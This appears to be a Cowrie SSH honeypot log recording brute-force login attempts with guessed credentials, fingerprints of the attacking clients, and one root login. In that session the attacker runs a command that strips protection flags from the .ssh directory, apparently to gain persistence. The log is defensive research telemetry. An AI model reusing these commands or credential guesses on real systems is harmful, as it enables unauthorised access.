{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:16:46.488444Z","src_ip":"195.178.110.218","session":"0f52bdcc2efd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.94.92","src_port":41506,"dst_ip":"159.203.135.109","dst_port":22,"session":"f31665e45d73","protocol":"ssh","message":"New connection: 159.223.94.92:41506 (159.203.135.109:22) [session: f31665e45d73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:17:28.609485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:17:28.613078Z","src_ip":"159.223.94.92","session":"f31665e45d73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:17:28.856745Z","src_ip":"159.223.94.92","session":"f31665e45d73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tst","password":"Tst","message":"login attempt [tst/Tst] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:17:29.877236Z","src_ip":"159.223.94.92","session":"f31665e45d73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:17:31.125208Z","src_ip":"159.223.94.92","session":"f31665e45d73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":55034,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe81c4949a23","protocol":"ssh","message":"New connection: 2.57.122.208:55034 (10.17.0.5:22) [session: fe81c4949a23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:18:01.909175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:18:02.031903Z","src_ip":"2.57.122.208","session":"fe81c4949a23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:18:02.035872Z","src_ip":"2.57.122.208","session":"fe81c4949a23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:18:02.733183Z","src_ip":"2.57.122.208","session":"fe81c4949a23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:18:03.930362Z","src_ip":"2.57.122.208","session":"fe81c4949a23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.75.240.121","src_port":59366,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c3e039f3733","protocol":"ssh","message":"New connection: 5.75.240.121:59366 (159.203.135.109:22) [session: 7c3e039f3733]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:18:20.861705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:18:20.865976Z","src_ip":"5.75.240.121","session":"7c3e039f3733","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:18:20.960136Z","src_ip":"5.75.240.121","session":"7c3e039f3733","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts","password":"123456","message":"login attempt [ts/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:18:21.153174Z","src_ip":"5.75.240.121","session":"7c3e039f3733","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:18:22.250006Z","src_ip":"5.75.240.121","session":"7c3e039f3733","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":43854,"dst_ip":"10.17.0.5","dst_port":22,"session":"71a47fa6c934","protocol":"ssh","message":"New connection: 27.119.7.6:43854 (10.17.0.5:22) [session: 71a47fa6c934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:18:24.382894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:18:24.387420Z","src_ip":"27.119.7.6","session":"71a47fa6c934","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:18:24.628167Z","src_ip":"27.119.7.6","session":"71a47fa6c934","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"otsmanager","password":"otsmanagerpass","message":"login attempt [otsmanager/otsmanagerpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:18:25.463427Z","src_ip":"27.119.7.6","session":"71a47fa6c934","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:18:26.682648Z","src_ip":"27.119.7.6","session":"71a47fa6c934","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":35160,"dst_ip":"159.203.135.109","dst_port":22,"session":"c165d5f05e08","protocol":"ssh","message":"New connection: 195.178.110.218:35160 (159.203.135.109:22) [session: c165d5f05e08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:19:19.200081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:19:19.203899Z","src_ip":"195.178.110.218","session":"c165d5f05e08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:19:19.283214Z","src_ip":"195.178.110.218","session":"c165d5f05e08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:19:19.522482Z","src_ip":"195.178.110.218","session":"c165d5f05e08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:19:20.604881Z","src_ip":"195.178.110.218","session":"c165d5f05e08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.94.92","src_port":49464,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfe4d0c22de3","protocol":"ssh","message":"New connection: 159.223.94.92:49464 (159.203.135.109:22) [session: dfe4d0c22de3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:19:27.604971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:19:27.609481Z","src_ip":"159.223.94.92","session":"dfe4d0c22de3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:19:27.855344Z","src_ip":"159.223.94.92","session":"dfe4d0c22de3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"d","password":"D123!","message":"login attempt [d/D123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:19:28.875748Z","src_ip":"159.223.94.92","session":"dfe4d0c22de3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:19:30.130836Z","src_ip":"159.223.94.92","session":"dfe4d0c22de3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":36802,"dst_ip":"10.17.0.5","dst_port":22,"session":"28158aa5da98","protocol":"ssh","message":"New connection: 27.119.7.6:36802 (10.17.0.5:22) [session: 28158aa5da98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:20:20.609537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:20:20.615201Z","src_ip":"27.119.7.6","session":"28158aa5da98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:20:20.804714Z","src_ip":"27.119.7.6","session":"28158aa5da98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samp","password":"1234","message":"login attempt [samp/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:20:21.645230Z","src_ip":"27.119.7.6","session":"28158aa5da98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:20:22.846695Z","src_ip":"27.119.7.6","session":"28158aa5da98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.94.92","src_port":57434,"dst_ip":"159.203.135.109","dst_port":22,"session":"6abfa631374e","protocol":"ssh","message":"New connection: 159.223.94.92:57434 (159.203.135.109:22) [session: 6abfa631374e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:21:26.949017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:21:26.953791Z","src_ip":"159.223.94.92","session":"6abfa631374e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:21:27.191112Z","src_ip":"159.223.94.92","session":"6abfa631374e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"root123..","message":"login attempt [root/root123..] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:21:28.174529Z","src_ip":"159.223.94.92","session":"6abfa631374e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:21:28.690209Z","src_ip":"159.223.94.92","session":"6abfa631374e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:21:28.693475Z","src_ip":"159.223.94.92","session":"6abfa631374e","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:21:28.697244Z","src_ip":"159.223.94.92","session":"6abfa631374e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:21:28.938976Z","src_ip":"159.223.94.92","session":"6abfa631374e","protocol":"ssh"}
